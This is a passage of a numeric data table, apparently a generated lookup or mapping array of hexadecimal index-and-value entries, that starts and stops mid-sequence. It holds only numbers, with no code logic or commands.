0xc1, 0x13, +0x00, 0x17, 0x17, 0xc2, 0x13, +0x00, 0x17, 0x18, 0xc3, 0x13, +0x00, 0x17, 0x19, 0xc4, 0x13, +0x00, 0x17, 0x1A, 0xc5, 0x13, +0x00, 0x17, 0x1B, 0xd3, 0x01, +0x00, 0x17, 0x1C, 0xc6, 0x13, +0x00, 0x17, 0x1D, 0xc7, 0x13, +0x00, 0x17, 0x1E, 0xc8, 0x13, +0x00, 0x17, 0x1F, 0xc9, 0x13, +0x00, 0x17, 0x20, 0xca, 0x13, +0x00, 0x17, 0x21, 0xcb, 0x13, +0x00, 0x17, 0x22, 0xcc, 0x13, +0x00, 0x17, 0x23, 0xcd, 0x13, +0x00, 0x17, 0x24, 0xce, 0x13, +0x00, 0x17, 0x25, 0xcf, 0x13, +0x00, 0x17, 0x26, 0xd0, 0x13, +0x00, 0x17, 0x27, 0xd1, 0x13, +0x00, 0x17, 0x28, 0xd2, 0x13, +0x00, 0x17, 0x29, 0xd3, 0x13, +0x00, 0x17, 0x2A, 0xd4, 0x13, +0x00, 0x17, 0x2B, 0xd5, 0x13, +0x00, 0x17, 0x2C, 0xd6, 0x13, +0x00, 0x17, 0x2D, 0xd7, 0x13, +0x00, 0x17, 0x2E, 0xd8, 0x13, +0x00, 0x17, 0x2F, 0xd9, 0x13, +0x00, 0x17, 0x30, 0xda, 0x13, +0x00, 0x17, 0x31, 0x20, 0x0b, +0x00, 0x17, 0x32, 0xdb, 0x13, +0x00, 0x17, 0x33, 0xdc, 0x13, +0x00, 0x17, 0x34, 0xdd, 0x13, +0x00, 0x17, 0x35, 0xde, 0x13, +0x00, 0x17, 0x36, 0xdf, 0x13, +0x00, 0x17, 0x37, 0xf6, 0x09, +0x00, 0x17, 0x38, 0xdf, 0x03, +0x00, 0x17, 0x39, 0xe0, 0x13, +0x00, 0x17, 0x3A, 0xe1, 0x13, +0x00, 0x17, 0x3B, 0x05, 0x00, +0x00, 0x17, 0x3C, 0xe2, 0x13, +0x00, 0x17, 0x3D, 0xe3, 0x13, +0x00, 0x17, 0x3E, 0xe4, 0x13, +0x00, 0x17, 0x3F, 0xe5, 0x13, +0x00, 0x17, 0x40, 0xe6, 0x13, +0x00, 0x17, 0x41, 0xe7, 0x13, +0x00, 0x17, 0x42, 0x07, 0x00, +0x00, 0x17, 0x43, 0xe8, 0x13, +0x00, 0x17, 0x44, 0xe9, 0x13, +0x00, 0x17, 0x45, 0xea, 0x13, +0x00, 0x17, 0x46, 0xeb, 0x13, +0x00, 0x17, 0x47, 0xec, 0x13, +0x00, 0x17, 0x48, 0xed, 0x13, +0x00, 0x17, 0x49, 0xee, 0x13, +0x00, 0x17, 0x4A, 0xef, 0x13, +0x00, 0x17, 0x4B, 0xb9, 0x02, +0x00, 0x17, 0x4C, 0xf0, 0x13, +0x00, 0x17, 0x4D, 0xf1, 0x13, +0x00, 0x17, 0x4E, 0xf2, 0x13, +0x00, 0x17, 0x4F, 0xf3, 0x13, +0x00, 0x17, 0x50, 0xf4, 0x13, +0x00, 0x17, 0x51, 0xf5, 0x13, +0x00, 0x17, 0x52, 0xf6, 0x13, +0x00, 0x17, 0x53, 0xf7, 0x13, +0x00, 0x17, 0x54, 0xf8, 0x13, +0x00, 0x17, 0x55, 0xf9, 0x13, +0x00, 0x17, 0x56, 0xfa, 0x13, +0x00, 0x17, 0x57, 0xfb, 0x13, +0x00, 0x17, 0x58, 0xfc, 0x13, +0x00, 0x17, 0x59, 0x05, 0x00, +0x00, 0x17, 0x5A, 0x05, 0x00, +0x00, 0x17, 0x5B, 0xfd, 0x13, +0x00, 0x17, 0x5C, 0xfe, 0x13, +0x00, 0x17, 0x5D, 0xff, 0x13, +0x00, 0x17, 0x5E, 0x00, 0x14, +0x00, 0x17, 0x5F, 0x01, 0x14, +0x00, 0x17, 0x60, 0x02, 0x14, +0x00, 0x17, 0x61, 0x65, 0x00, +0x00, 0x17, 0x62, 0x03, 0x14, +0x00, 0x17, 0x63, 0x04, 0x14, +0x00, 0x17, 0x64, 0x05, 0x14, +0x00, 0x17, 0x65, 0x69, 0x01, +0x00, 0x17, 0x66, 0x06, 0x14, +0x00, 0x17, 0x67, 0x07, 0x14, +0x00, 0x17, 0x68, 0x08, 0x14, +0x00, 0x17, 0x69, 0x09, 0x14, +0x00, 0x17, 0x6A, 0x0a, 0x14, +0x00, 0x17, 0x6B, 0x0b, 0x14, +0x00, 0x17, 0x6C, 0x0c, 0x14, +0x00, 0x17, 0x6D, 0x0d, 0x14, +0x00, 0x17, 0x6E, 0x0e, 0x14, +0x00, 0x17, 0x6F, 0x0f, 0x14, +0x00, 0x17, 0x70, 0x10, 0x14, +0x00, 0x17, 0x71, 0x11, 0x14, +0x00, 0x17, 0x72, 0x12, 0x14, +0x00, 0x17, 0x73, 0x13, 0x14, +0x00, 0x17, 0x74, 0x14, 0x14, +0x00, 0x17, 0x75, 0x15, 0x14, +0x00, 0x17, 0x76, 0x16, 0x14, +0x00, 0x17, 0x77, 0x17, 0x14, +0x00, 0x17, 0x78, 0x18, 0x14, +0x00, 0x17, 0x79, 0x19, 0x14, +0x00, 0x17, 0x7A, 0x1a, 0x14, +0x00, 0x17, 0x7B, 0x1b, 0x14, +0x00, 0x17, 0x7C, 0x1c, 0x14, +0x00, 0x17, 0x7D, 0x1d, 0x14, +0x00, 0x17, 0x7E, 0x1e, 0x14, +0x00, 0x17, 0x7F, 0x1f, 0x14, +0x00, 0x17, 0x80, 0x20, 0x14, +0x00, 0x17, 0x81, 0x21, 0x14, +0x00, 0x17, 0x82, 0x22, 0x14, +0x00, 0x17, 0x83, 0xeb, 0x0f, +0x00, 0x17, 0x84, 0xb9, 0x00, +0x00, 0x17, 0x85, 0x23, 0x14, +0x00, 0x17, 0x86, 0x24, 0x14, +0x00, 0x17, 0x87, 0x25, 0x14, +0x00, 0x17, 0x88, 0x26, 0x14, +0x00, 0x17, 0x89, 0x27, 0x14, +0x00, 0x17, 0x8A, 0x28, 0x14, +0x00, 0x17, 0x8B, 0xfc, 0x00, +0x00, 0x17, 0x8C, 0x5e, 0x08, +0x00, 0x17, 0x8D, 0x29, 0x14, +0x00, 0x17, 0x8E, 0x2a, 0x14, +0x00, 0x17, 0x8F, 0x2b, 0x14, +0x00, 0x17, 0x90, 0x9e, 0x0c, +0x00, 0x17, 0x91, 0x2c, 0x14, +0x00, 0x17, 0x92, 0x2d, 0x14, +0x00, 0x17, 0x93, 0x2e, 0x14, +0x00, 0x17, 0x94, 0x05, 0x00, +0x00, 0x17, 0x95, 0x05, 0x00, +0x00, 0x17, 0x96, 0x2f, 0x14, +0x00, 0x17, 0x97, 0x30, 0x14, +0x00, 0x17, 0x98, 0x31, 0x14, +0x00, 0x17, 0x99, 0x32, 0x14, +0x00, 0x17, 0x9A, 0xe8, 0x04, +0x00, 0x17, 0x9B, 0x33, 0x14, +0x00, 0x17, 0x9C, 0x34, 0x14, +0x00, 0x17, 0x9D, 0x35, 0x14, +0x00, 0x17, 0x9E, 0x36, 0x14, +0x00, 0x17, 0x9F, 0x37, 0x14, +0x00, 0x17, 0xA0, 0x38, 0x14, +0x00, 0x17, 0xA1, 0x39, 0x14, +0x00, 0x17, 0xA2, 0x3a, 0x14, +0x00, 0x17, 0xA3, 0x3b, 0x14, +0x00, 0x17, 0xA4, 0xc9, 0x01, +0x00, 0x17, 0xA5, 0xfb, 0x0a, +0x00, 0x17, 0xA6, 0x3c, 0x14, +0x00, 0x17, 0xA7, 0x3d, 0x14, +0x00, 0x17, 0xA8, 0x3e, 0x14, +0x00, 0x17, 0xA9, 0x3f, 0x14, +0x00, 0x17, 0xAA, 0x40, 0x14, +0x00, 0x17, 0xAB, 0xc5, 0x08, +0x00, 0x17, 0xAC, 0x41, 0x14, +0x00, 0x17, 0xAD, 0x42, 0x14, +0x00, 0x17, 0xAE, 0x43, 0x14, +0x00, 0x17, 0xAF, 0x44, 0x14, +0x00, 0x17, 0xB0, 0xb9, 0x02, +0x00, 0x17, 0xB1, 0x45, 0x14, +0x00, 0x17, 0xB2, 0x46, 0x14, +0x00, 0x17, 0xB3, 0x47, 0x14, +0x00, 0x17, 0xB4, 0x48, 0x14, +0x00, 0x17, 0xB5, 0x49, 0x14, +0x00, 0x17, 0xB6, 0x4a, 0x14, +0x00, 0x17, 0xB7, 0x4b, 0x14, +0x00, 0x17, 0xB8, 0x4c, 0x14, +0x00, 0x17, 0xB9, 0x4d, 0x14, +0x00, 0x17, 0xBA, 0x4e, 0x14, +0x00, 0x17, 0xBB, 0x4f, 0x14, +0x00, 0x17, 0xBC, 0x50, 0x14, +0x00, 0x17, 0xBD, 0x51, 0x14, +0x00, 0x17, 0xBE, 0x52, 0x14, +0x00, 0x17, 0xBF, 0x53, 0x14, +0x00, 0x17, 0xC0, 0x54, 0x14, +0x00, 0x17, 0xC1, 0x55, 0x14, +0x00, 0x17, 0xC2, 0x71, 0x07, +0x00, 0x17, 0xC3, 0x56, 0x14, +0x00, 0x17, 0xC4, 0x57, 0x14, +0x00, 0x17, 0xC5, 0x1f, 0x06, +0x00, 0x17, 0xC6, 0xac, 0x05, +0x00, 0x17, 0xC7, 0x58, 0x14, +0x00, 0x17, 0xC8, 0x59, 0x14, +0x00, 0x17, 0xC9, 0x4f, 0x02, +0x00, 0x17, 0xCA, 0x5b, 0x03, +0x00, 0x17, 0xCB, 0x08, 0x05, +0x00, 0x17, 0xCC, 0xd1, 0x06, +0x00, 0x17, 0xCD, 0x5a, 0x14, +0x00, 0x17, 0xCE, 0x5b, 0x14, +0x00, 0x17, 0xCF, 0x5c, 0x14, +0x00, 0x17, 0xD0, 0x5d, 0x14, +0x00, 0x17, 0xD1, 0x69, 0x01, +0x00, 0x17, 0xD2, 0x5e, 0x14, +0x00, 0x17, 0xD3, 0x5f, 0x14, +0x00, 0x17, 0xD4, 0x60, 0x14, +0x00, 0x17, 0xD5, 0x4f, 0x02, +0x00, 0x17, 0xD6, 0x61, 0x14, +0x00, 0x17, 0xD7, 0x62, 0x14, +0x00, 0x17, 0xD8, 0x63, 0x14, +0x00, 0x17, 0xD9, 0x64, 0x14, +0x00, 0x17, 0xDA, 0x65, 0x14, +0x00, 0x17, 0xDB, 0x66, 0x14, +0x00, 0x17, 0xDC, 0x67, 0x14, +0x00, 0x17, 0xDD, 0x68, 0x14, +0x00, 0x17, 0xDE, 0x6f, 0x09, +0x00, 0x17, 0xDF, 0x05, 0x00, +0x00, 0x17, 0xE0, 0x05, 0x00, +0x00, 0x17, 0xE1, 0x69, 0x14, +0x00, 0x17, 0xE2, 0xb9, 0x00, +0x00, 0x17, 0xE3, 0xeb, 0x0f, +0x00, 0x17, 0xE4, 0xeb, 0x0f, +0x00, 0x17, 0xE5, 0xeb, 0x0f, +0x00, 0x17, 0xE6, 0xeb, 0x0f, +0x00, 0x17, 0xE7, 0xeb, 0x0f, +0x00, 0x17, 0xE8, 0xeb, 0x0f, +0x00, 0x17, 0xE9, 0xeb, 0x0f, +0x00, 0x17, 0xEA, 0xeb, 0x0f, +0x00, 0x17, 0xEB, 0xeb, 0x0f, +0x00, 0x17, 0xEC, 0xeb, 0x0f, +0x00, 0x17, 0xED, 0x6a, 0x14, +0x00, 0x17, 0xEE, 0xb9, 0x00, +0x00, 0x17, 0xEF, 0x2f, 0x02, +0x00, 0x17, 0xF0, 0x6b, 0x14, +0x00, 0x17, 0xF1, 0x6c, 0x14, +0x00, 0x17, 0xF2, 0x51, 0x03, +0x00, 0x17, 0xF3, 0xb7, 0x00, +0x00, 0x17, 0xF4, 0x6d, 0x14, +0x00, 0x17, 0xF5, 0x6e, 0x14, +0x00, 0x17, 0xF6, 0x6f, 0x14, +0x00, 0x17, 0xF7, 0x70, 0x14, +0x00, 0x17, 0xF8, 0x71, 0x14, +0x00, 0x17, 0xF9, 0x72, 0x14, +0x00, 0x17, 0xFA, 0xb4, 0x03, +0x00, 0x17, 0xFB, 0x73, 0x14, +0x00, 0x17, 0xFC, 0x74, 0x14, +0x00, 0x17, 0xFD, 0x75, 0x14, +0x00, 0x17, 0xFE, 0x76, 0x14, +0x00, 0x17, 0xFF, 0x77, 0x14, +0x00, 0x18, 0x00, 0x78, 0x14, +0x00, 0x18, 0x01, 0xe7, 0x0d, +0x00, 0x18, 0x02, 0xd8, 0x0d, +0x00, 0x18, 0x03, 0x79, 0x14, +0x00, 0x18, 0x04, 0x7a, 0x14, +0x00, 0x18, 0x05, 0x7b, 0x14, +0x00, 0x18, 0x06, 0x7c, 0x14, +0x00, 0x18, 0x07, 0x7d, 0x14, +0x00, 0x18, 0x08, 0x7e, 0x14, +0x00, 0x18, 0x09, 0x7f, 0x14, +0x00, 0x18, 0x0A, 0x80, 0x14, +0x00, 0x18, 0x0B, 0x81, 0x14, +0x00, 0x18, 0x0C, 0x82, 0x14, +0x00, 0x18, 0x0D, 0x83, 0x14, +0x00, 0x18, 0x0E, 0x84, 0x14, +0x00, 0x18, 0x0F, 0xb9, 0x02, +0x00, 0x18, 0x10, 0x85, 0x14, +0x00, 0x18, 0x11, 0x86, 0x14, +0x00, 0x18, 0x12, 0x87, 0x14, +0x00, 0x18, 0x13, 0xbe, 0x09, +0x00, 0x18, 0x14, 0x88, 0x14, +0x00, 0x18, 0x15, 0x89, 0x14, +0x00, 0x18, 0x16, 0x8a, 0x14, +0x00, 0x18, 0x17, 0x8b, 0x14, +0x00, 0x18, 0x18, 0x05, 0x00, +0x00, 0x18, 0x19, 0x05, 0x00, +0x00, 0x18, 0x1A, 0x8c, 0x14, +0x00, 0x18, 0x1B, 0xb4, 0x04, +0x00, 0x18, 0x1C, 0x8d, 0x14, +0x00, 0x18, 0x1D, 0x8e, 0x14, +0x00, 0x18, 0x1E, 0x8f, 0x14, +0x00, 0x18, 0x1F, 0x53, 0x08, +0x00, 0x18, 0x20, 0x90, 0x14, +0x00, 0x18, 0x21, 0x91, 0x14, +0x00, 0x18, 0x22, 0x92, 0x14, +0x00, 0x18, 0x23, 0xe2, 0x05, +0x00, 0x18, 0x24, 0x93, 0x14, +0x00, 0x18, 0x25, 0x65, 0x00, +0x00, 0x18, 0x26, 0x94, 0x14, +0x00, 0x18, 0x27, 0x95, 0x14, +0x00, 0x18, 0x28, 0x96, 0x14, +0x00, 0x18, 0x29, 0x97, 0x14, +0x00, 0x18, 0x2A, 0x98, 0x14, +0x00, 0x18, 0x2B, 0x99, 0x14, +0x00, 0x18, 0x2C, 0x9a, 0x14, +0x00, 0x18, 0x2D, 0x9b, 0x14, +0x00, 0x18, 0x2E, 0x9c, 0x14, +0x00, 0x18, 0x2F, 0xeb, 0x0f, +0x00, 0x18, 0x30, 0xeb, 0x0f, +0x00, 0x18, 0x31, 0xeb, 0x0f, +0x00, 0x18, 0x32, 0xeb, 0x0f, +0x00, 0x18, 0x33, 0xeb, 0x0f, +0x00, 0x18, 0x34, 0xeb, 0x0f, +0x00, 0x18, 0x35, 0x9d, 0x14, +0x00, 0x18, 0x36, 0xaf, 0x0e, +0x00, 0x18, 0x37, 0x0a, 0x01, +0x00, 0x18, 0x38, 0x9e, 0x14, +0x00, 0x18, 0x39, 0xf9, 0x0a, +0x00, 0x18, 0x3A, 0x0a, 0x0e, +0x00, 0x18, 0x3B, 0x9f, 0x14, +0x00, 0x18, 0x3C, 0xa0, 0x14, +0x00, 0x18, 0x3D, 0xa1, 0x14, +0x00, 0x18, 0x3E, 0xa2, 0x14, +0x00, 0x18, 0x3F, 0x02, 0x0c, +0x00, 0x18, 0x40, 0xa3, 0x14, +0x00, 0x18, 0x41, 0x37, 0x02, +0x00, 0x18, 0x42, 0xb9, 0x02, +0x00, 0x18, 0x43, 0xa4, 0x14, +0x00, 0x18, 0x44, 0xa5, 0x14, +0x00, 0x18, 0x45, 0xa6, 0x14, +0x00, 0x18, 0x46, 0xa7, 0x14, +0x00, 0x18, 0x47, 0xa8, 0x14, +0x00, 0x18, 0x48, 0xa9, 0x14, +0x00, 0x18, 0x49, 0xaa, 0x14, +0x00, 0x18, 0x4A, 0xab, 0x14, +0x00, 0x18, 0x4B, 0xac, 0x14, +0x00, 0x18, 0x4C, 0xad, 0x14, +0x00, 0x18, 0x4D, 0x68, 0x08, +0x00, 0x18, 0x4E, 0xae, 0x14, +0x00, 0x18, 0x4F, 0xaf, 0x14, +0x00, 0x18, 0x50, 0xb0, 0x14, +0x00, 0x18, 0x51, 0xb1, 0x14, +0x00, 0x18, 0x52, 0xb2, 0x14, +0x00, 0x18, 0x53, 0xb3, 0x14, +0x00, 0x18, 0x54, 0xb4, 0x14, +0x00, 0x18, 0x55, 0xb5, 0x14, +0x00, 0x18, 0x56, 0xb6, 0x14, +0x00, 0x18, 0x57, 0xb7, 0x14, +0x00, 0x18, 0x58, 0xb8, 0x14, +0x00, 0x18, 0x59, 0xb9, 0x14, +0x00, 0x18, 0x5A, 0xba, 0x14, +0x00, 0x18, 0x5B, 0xbb, 0x14, +0x00, 0x18, 0x5C, 0xbc, 0x14, +0x00, 0x18, 0x5D, 0xbd, 0x14, +0x00, 0x18, 0x5E, 0xbe, 0x14, +0x00, 0x18, 0x5F, 0xb6, 0x0e, +0x00, 0x18, 0x60, 0xbf, 0x14, +0x00, 0x18, 0x61, 0xc0, 0x14, +0x00, 0x18, 0x62, 0x70, 0x04, +0x00, 0x18, 0x63, 0xc1, 0x14, +0x00, 0x18, 0x64, 0x6c, 0x0b, +0x00, 0x18, 0x65, 0xc2, 0x14, +0x00, 0x18, 0x66, 0xc3, 0x14, +0x00, 0x18, 0x67, 0x13, 0x07, +0x00, 0x18, 0x68, 0xc4, 0x14, +0x00, 0x18, 0x69, 0xc5, 0x14, +0x00, 0x18, 0x6A, 0xc6, 0x14, +0x00, 0x18, 0x6B, 0xc7, 0x14, +0x00, 0x18, 0x6C, 0xc8, 0x14, +0x00, 0x18, 0x6D, 0xc9, 0x14, +0x00, 0x18, 0x6E, 0xf2, 0x00, +0x00, 0x18, 0x6F, 0xca, 0x14, +0x00, 0x18, 0x70, 0xcb, 0x14, +0x00, 0x18, 0x71, 0xc9, 0x01, +0x00, 0x18, 0x72, 0xcc, 0x14, +0x00, 0x18, 0x73, 0x05, 0x00, +0x00, 0x18, 0x74, 0x05, 0x00, +0x00, 0x18, 0x75, 0xcd, 0x14, +0x00, 0x18, 0x76, 0xce, 0x14, +0x00, 0x18, 0x77, 0xcf, 0x14, +0x00, 0x18, 0x78, 0xd0, 0x14, +0x00, 0x18, 0x79, 0xd1, 0x14, +0x00, 0x18, 0x7A, 0xd2, 0x14, +0x00, 0x18, 0x7B, 0xd3, 0x14, +0x00, 0x18, 0x7C, 0xd4, 0x14, +0x00, 0x18, 0x7D, 0xd5, 0x14, +0x00, 0x18, 0x7E, 0xd6, 0x14, +0x00, 0x18, 0x7F, 0xd7, 0x14, +0x00, 0x18, 0x80, 0xd8, 0x14, +0x00, 0x18, 0x81, 0xd9, 0x14, +0x00, 0x18, 0x82, 0xda, 0x14, +0x00, 0x18, 0x83, 0xdb, 0x14, +0x00, 0x18, 0x84, 0xdc, 0x14, +0x00, 0x18, 0x85, 0xdd, 0x14, +0x00, 0x18, 0x86, 0xde, 0x14, +0x00, 0x18, 0x87, 0xdf, 0x14, +0x00, 0x18, 0x88, 0xe0, 0x14, +0x00, 0x18, 0x89, 0xe1, 0x14, +0x00, 0x18, 0x8A, 0xe2, 0x14, +0x00, 0x18, 0x8B, 0xd1, 0x05, +0x00, 0x18, 0x8C, 0xe3, 0x14, +0x00, 0x18, 0x8D, 0xb9, 0x02, +0x00, 0x18, 0x8E, 0xe4, 0x14, +0x00, 0x18, 0x8F, 0xe5, 0x14, +0x00, 0x18, 0x90, 0xe6, 0x14, +0x00, 0x18, 0x91, 0xe7, 0x14, +0x00, 0x18, 0x92, 0xe8, 0x14, +0x00, 0x18, 0x93, 0xe9, 0x01, +0x00, 0x18, 0x94, 0xe9, 0x14, +0x00, 0x18, 0x95, 0xea, 0x14, +0x00, 0x18, 0x96, 0xeb, 0x14, +0x00, 0x18, 0x97, 0xec, 0x14, +0x00, 0x18, 0x98, 0xed, 0x14, +0x00, 0x18, 0x99, 0xe9, 0x01, +0x00, 0x18, 0x9A, 0xee, 0x14, +0x00, 0x18, 0x9B, 0x17, 0x07, +0x00, 0x18, 0x9C, 0xef, 0x14, +0x00, 0x18, 0x9D, 0xf0, 0x14, +0x00, 0x18, 0x9E, 0xf1, 0x14, +0x00, 0x18, 0x9F, 0xf2, 0x14, +0x00, 0x18, 0xA0, 0xf3, 0x14, +0x00, 0x18, 0xA1, 0xf4, 0x14, +0x00, 0x18, 0xA2, 0xf5, 0x14, +0x00, 0x18, 0xA3, 0xf6, 0x14, +0x00, 0x18, 0xA4, 0xb9, 0x00, +0x00, 0x18, 0xA5, 0xf7, 0x14, +0x00, 0x18, 0xA6, 0xf8, 0x14, +0x00, 0x18, 0xA7, 0xf9, 0x14, +0x00, 0x18, 0xA8, 0xfa, 0x14, +0x00, 0x18, 0xA9, 0x0b, 0x0f, +0x00, 0x18, 0xAA, 0xfb, 0x14, +0x00, 0x18, 0xAB, 0xdf, 0x0a, +0x00, 0x18, 0xAC, 0x0e, 0x03, +0x00, 0x18, 0xAD, 0xfc, 0x14, +0x00, 0x18, 0xAE, 0xfd, 0x14, +0x00, 0x18, 0xAF, 0x4f, 0x02, +0x00, 0x18, 0xB0, 0x69, 0x01, +0x00, 0x18, 0xB1, 0x2f, 0x02, +0x00, 0x18, 0xB2, 0xfe, 0x14, +0x00, 0x18, 0xB3, 0xff, 0x14, +0x00, 0x18, 0xB4, 0x00, 0x15, +0x00, 0x18, 0xB5, 0x01, 0x15, +0x00, 0x18, 0xB6, 0x02, 0x15, +0x00, 0x18, 0xB7, 0x03, 0x15, +0x00, 0x18, 0xB8, 0x04, 0x15, +0x00, 0x18, 0xB9, 0x05, 0x00, +0x00, 0x18, 0xBA, 0x05, 0x00, +0x00, 0x18, 0xBB, 0x05, 0x15, +0x00, 0x18, 0xBC, 0x06, 0x15, +0x00, 0x18, 0xBD, 0xe9, 0x01, +0x00, 0x18, 0xBE, 0x07, 0x15, +0x00, 0x18, 0xBF, 0x08, 0x15, +0x00, 0x18, 0xC0, 0xb9, 0x00, +0x00, 0x18, 0xC1, 0x09, 0x15, +0x00, 0x18, 0xC2, 0x0a, 0x15, +0x00, 0x18, 0xC3, 0x0b, 0x15, +0x00, 0x18, 0xC4, 0x0c, 0x15, +0x00, 0x18, 0xC5, 0xb9, 0x02, +0x00, 0x18, 0xC6, 0x0d, 0x15, +0x00, 0x18, 0xC7, 0x75, 0x05, +0x00, 0x18, 0xC8, 0x0e, 0x15, +0x00, 0x18, 0xC9, 0x0f, 0x15, +0x00, 0x18, 0xCA, 0x10, 0x15, +0x00, 0x18, 0xCB, 0x11, 0x15, +0x00, 0x18, 0xCC, 0x12, 0x15, +0x00, 0x18, 0xCD, 0x13, 0x15, +0x00, 0x18, 0xCE, 0x14, 0x15, +0x00, 0x18, 0xCF, 0x15, 0x15, +0x00, 0x18, 0xD0, 0x16, 0x15, +0x00, 0x18, 0xD1, 0xc2, 0x14, +0x00, 0x18, 0xD2, 0x17, 0x15, +0x00, 0x18, 0xD3, 0x18, 0x15, +0x00, 0x18, 0xD4, 0x19, 0x15, +0x00, 0x18, 0xD5, 0x1a, 0x15, +0x00, 0x18, 0xD6, 0x1b, 0x15, +0x00, 0x18, 0xD7, 0x1c, 0x15, +0x00, 0x18, 0xD8, 0x1d, 0x15, +0x00, 0x18, 0xD9, 0x1e, 0x15, +0x00, 0x18, 0xDA, 0x1f, 0x15, +0x00, 0x18, 0xDB, 0x20, 0x15, +0x00, 0x18, 0xDC, 0x21, 0x15, +0x00, 0x18, 0xDD, 0x22, 0x15, +0x00, 0x18, 0xDE, 0x80, 0x10, +0x00, 0x18, 0xDF, 0x23, 0x15, +0x00, 0x18, 0xE0, 0x24, 0x15, +0x00, 0x18, 0xE1, 0x25, 0x15, +0x00, 0x18, 0xE2, 0x26, 0x15, +0x00, 0x18, 0xE3, 0x27, 0x15, +0x00, 0x18, 0xE4, 0x28, 0x15, +0x00, 0x18, 0xE5, 0x29, 0x15, +0x00, 0x18, 0xE6, 0x63, 0x00, +0x00, 0x18, 0xE7, 0x2a, 0x15, +0x00, 0x18, 0xE8, 0x2b, 0x15, +0x00, 0x18, 0xE9, 0x2c, 0x15, +0x00, 0x18, 0xEA, 0x2d, 0x15, +0x00, 0x18, 0xEB, 0x2e, 0x15, +0x00, 0x18, 0xEC, 0x2f, 0x15, +0x00, 0x18, 0xED, 0x30, 0x15, +0x00, 0x18, 0xEE, 0x31, 0x15, +0x00, 0x18, 0xEF, 0x32, 0x15, +0x00, 0x18, 0xF0, 0x33, 0x15, +0x00, 0x18, 0xF1, 0x34, 0x15, +0x00, 0x18, 0xF2, 0xb3, 0x10, +0x00, 0x18, 0xF3, 0x20, 0x0b, +0x00, 0x18, 0xF4, 0x35, 0x15, +0x00, 0x18, 0xF5, 0xe9, 0x01, +0x00, 0x18, 0xF6, 0xbc, 0x0c, +0x00, 0x18, 0xF7, 0x36, 0x15, +0x00, 0x18, 0xF8, 0xf9, 0x0a, +0x00, 0x18, 0xF9, 0x37, 0x15, +0x00, 0x18, 0xFA, 0x38, 0x15, +0x00, 0x18, 0xFB, 0x39, 0x15, +0x00, 0x18, 0xFC, 0x3a, 0x15, +0x00, 0x18, 0xFD, 0x3b, 0x15, +0x00, 0x18, 0xFE, 0xc9, 0x01, +0x00, 0x18, 0xFF, 0x3c, 0x15, +0x00, 0x19, 0x00, 0x3d, 0x15, +0x00, 0x19, 0x01, 0x3e, 0x15, +0x00, 0x19, 0x02, 0x34, 0x02, +0x00, 0x19, 0x03, 0x3f, 0x15, +0x00, 0x19, 0x04, 0x40, 0x15, +0x00, 0x19, 0x05, 0x41, 0x15, +0x00, 0x19, 0x06, 0x05, 0x00, +0x00, 0x19, 0x07, 0x05, 0x00, +0x00, 0x19, 0x08, 0x42, 0x15, +0x00, 0x19, 0x09, 0x43, 0x15, +0x00, 0x19, 0x0A, 0x44, 0x15, +0x00, 0x19, 0x0B, 0x45, 0x15, +0x00, 0x19, 0x0C, 0x46, 0x15, +0x00, 0x19, 0x0D, 0x47, 0x15, +0x00, 0x19, 0x0E, 0x48, 0x15, +0x00, 0x19, 0x0F, 0x49, 0x15, +0x00, 0x19, 0x10, 0x4a, 0x15, +0x00, 0x19, 0x11, 0x4b, 0x15, +0x00, 0x19, 0x12, 0x4c, 0x15, +0x00, 0x19, 0x13, 0x4d, 0x15, +0x00, 0x19, 0x14, 0x4e, 0x15, +0x00, 0x19, 0x15, 0x84, 0x03, +0x00, 0x19, 0x16, 0x4f, 0x15, +0x00, 0x19, 0x17, 0x50, 0x15, +0x00, 0x19, 0x18, 0x40, 0x06, +0x00, 0x19, 0x19, 0x51, 0x15, +0x00, 0x19, 0x1A, 0x52, 0x15, +0x00, 0x19, 0x1B, 0x53, 0x15, +0x00, 0x19, 0x1C, 0x54, 0x15, +0x00, 0x19, 0x1D, 0xc5, 0x08, +0x00, 0x19, 0x1E, 0x55, 0x15, +0x00, 0x19, 0x1F, 0x8a, 0x01, +0x00, 0x19, 0x20, 0x56, 0x15, +0x00, 0x19, 0x21, 0xee, 0x06, +0x00, 0x19, 0x22, 0x57, 0x15, +0x00, 0x19, 0x23, 0x58, 0x15, +0x00, 0x19, 0x24, 0x59, 0x15, +0x00, 0x19, 0x25, 0x5a, 0x15, +0x00, 0x19, 0x26, 0x5b, 0x15, +0x00, 0x19, 0x27, 0x5c, 0x15, +0x00, 0x19, 0x28, 0x5d, 0x15, +0x00, 0x19, 0x29, 0x5e, 0x15, +0x00, 0x19, 0x2A, 0x5f, 0x15, +0x00, 0x19, 0x2B, 0x60, 0x15, +0x00, 0x19, 0x2C, 0xb9, 0x00, +0x00, 0x19, 0x2D, 0x4f, 0x12, +0x00, 0x19, 0x2E, 0x61, 0x15, +0x00, 0x19, 0x2F, 0x05, 0x00, +0x00, 0x19, 0x30, 0x05, 0x00, +0x00, 0x19, 0x31, 0x62, 0x15, +0x00, 0x19, 0x32, 0x63, 0x15, +0x00, 0x19, 0x33, 0xd0, 0x05, +0x00, 0x19, 0x34, 0x64, 0x15, +0x00, 0x19, 0x35, 0x65, 0x15, +0x00, 0x19, 0x36, 0x66, 0x15, +0x00, 0x19, 0x37, 0x67, 0x15, +0x00, 0x19, 0x38, 0x68, 0x15, +0x00, 0x19, 0x39, 0x69, 0x15, +0x00, 0x19, 0x3A, 0x6a, 0x15, +0x00, 0x19, 0x3B, 0x6b, 0x15, +0x00, 0x19, 0x3C, 0x6c, 0x15, +0x00, 0x19, 0x3D, 0x6d, 0x15, +0x00, 0x19, 0x3E, 0x71, 0x07, +0x00, 0x19, 0x3F, 0x6e, 0x15, +0x00, 0x19, 0x40, 0x6f, 0x15, +0x00, 0x19, 0x41, 0x70, 0x15, +0x00, 0x19, 0x42, 0x71, 0x15, +0x00, 0x19, 0x43, 0x72, 0x15, +0x00, 0x19, 0x44, 0x73, 0x15, +0x00, 0x19, 0x45, 0x74, 0x15, +0x00, 0x19, 0x46, 0x75, 0x15, +0x00, 0x19, 0x47, 0xc4, 0x14, +0x00, 0x19, 0x48, 0x76, 0x15, +0x00, 0x19, 0x49, 0x77, 0x15, +0x00, 0x19, 0x4A, 0x78, 0x15, +0x00, 0x19, 0x4B, 0xc4, 0x0c, +0x00, 0x19, 0x4C, 0xe0, 0x09, +0x00, 0x19, 0x4D, 0x0a, 0x14, +0x00, 0x19, 0x4E, 0x79, 0x15, +0x00, 0x19, 0x4F, 0xb9, 0x02, +0x00, 0x19, 0x50, 0x06, 0x0e, +0x00, 0x19, 0x51, 0x7a, 0x15, +0x00, 0x19, 0x52, 0x7b, 